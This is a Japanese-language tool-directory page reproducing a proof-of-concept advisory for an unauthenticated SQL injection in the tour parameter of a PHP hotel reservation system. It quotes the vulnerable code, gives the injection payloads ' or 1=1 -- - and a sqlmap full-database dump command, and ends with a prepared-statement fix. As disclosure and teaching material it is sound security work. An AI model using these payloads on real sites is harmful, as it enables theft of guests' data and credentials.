Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-10290-SQLI — ホテル・観光予約システム 1.0 における未認証SQLインジェクションの概念実証。tourパラメータを介したデータベース抽出を実証します。 | Kitploit
ツール/GitHubGitHub/xmyronn/cve-2026-10290-sqli
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育データベースセキュリティ
GitHubxmyronn/cve-2026-10290-sqli

CVE-2026-10290-SQLI

ホテル・観光予約システム 1.0 における未認証SQLインジェクションの概念実証。tourパラメータを介したデータベース抽出を実証します。

リポジトリを見る
23ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

ホテル・観光予約システム - tour.phpにおける未認証SQLインジェクション

脆弱性の詳細

フィールド詳細
タイトルホテル・観光予約システム - tour GETパラメータを介したSQLインジェクション
ベンダーcode-projects.org
ベンダーURLhttps://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/
製品ホテル・観光予約システム
バージョン1.0
脆弱性タイプSQLインジェクション
CWECWE-89
CVSSスコア9.8 (クリティカル)
CVSSベクターCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
影響を受けるファイル/ht/tour.php
影響を受けるパラメータtour (GET)
認証要件いいえ
リモートからの悪用可能性はい
研究者Syed Imad Uddin Alvi

説明

ホテル・観光予約システム1.0のtour.phpにおけるtour GETパラメータに、クリティカルなSQLインジェクションの脆弱性が存在します。このパラメータは直接生のSQLクエリに渡され、サニタイゼーション、プリペアドステートメント、入力検証が一切行われていません。認証されていないリモートの攻撃者はクエリを操作して、データベース内の任意のデータを抽出、変更、削除することができます。この脆弱性は、sqlmapを使用したデータベース全体のダンプによって確認されました。

tour.phpの脆弱なコード:

root@kitploit:~
if(isset($_GET['tour'])) {
    $tourID = $_GET['tour'];
    $select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
    $s = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
    $data = mysqli_fetch_assoc($s);

$tourIDは$_GET['tour']から直接取得され、サニタイゼーションなしでSQLクエリに埋め込まれています。


再現手順

セットアップ: XAMPPにホテル・観光予約システム1.0をインストールし、http://<target>/ht/でアクセスします。

ステップ1 — 認証されていないユーザーとして任意のツアーページにアクセス:

root@kitploit:~
http://<target>/ht/tour.php?tour=4
スクリーンショット 2026-05-12 001635

ステップ2 — シングルクォートを注入してSQLクエリを破壊し、脆弱性を確認:

root@kitploit:~
http://<target>/ht/tour.php?tour='

結果: 致命的なMySQLエラーが発生します — サニタイズされていない入力がSQLクエリに到達することを確認します。

スクリーンショット 2026-05-12 001643

ステップ3 — ブールベースのペイロードでSQLiを確認:

root@kitploit:~
http://<target>/ht/tour.php?tour=' or 1=1 -- -

結果: ツアーデータを含むページが正常に読み込まれます — ブールインジェクション成功。

スクリーンショット 2026-05-12 001654

ステップ4 — sqlmapを使用してデータベース全体をダンプ:

root@kitploit:~
sqlmap -r sqli.txt --dump --batch

結果: sqlmapはhotel_db内のすべてのテーブル(users、rooms、tour_reserves、galleryを含む)を正常にダンプします — データベース全体の侵害が確認されました。

スクリーンショット 2026-05-12 001722

影響

認証されていないリモートの攻撃者は以下を実行できます:

  • データベースからユーザー認証情報、メールアドレス、電話番号、予約詳細を含むすべてのデータを抽出
  • 管理者認証情報を抽出して認証をバイパス
  • 任意のデータベースレコードを変更または削除
  • ファイル権限が付与されている場合、INTO OUTFILEを介してリモートコード実行の可能性

根本原因

tour GETパラメータは、プリペアドステートメント、パラメータ化クエリ、入力サニタイゼーションを使用せずに、直接生のSQLクエリに埋め込まれています:

root@kitploit:~
// VULNERABLE
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");

// FIXED — use prepared statements
$stmt = $db->prepare("SELECT * FROM tourism WHERE id = ?");
$stmt->bind_param("i", $_GET['tour']);
$stmt->execute();

参考情報

  • CWE-89: SQLコマンドで使用される特殊要素の不適切な無効化
  • OWASP: SQLインジェクション
  • ホテル・観光予約システム — code-projects.org

発見者

Syed Imad Uddin Alvi — 独立系セキュリティ研究者

ツールをダウンロード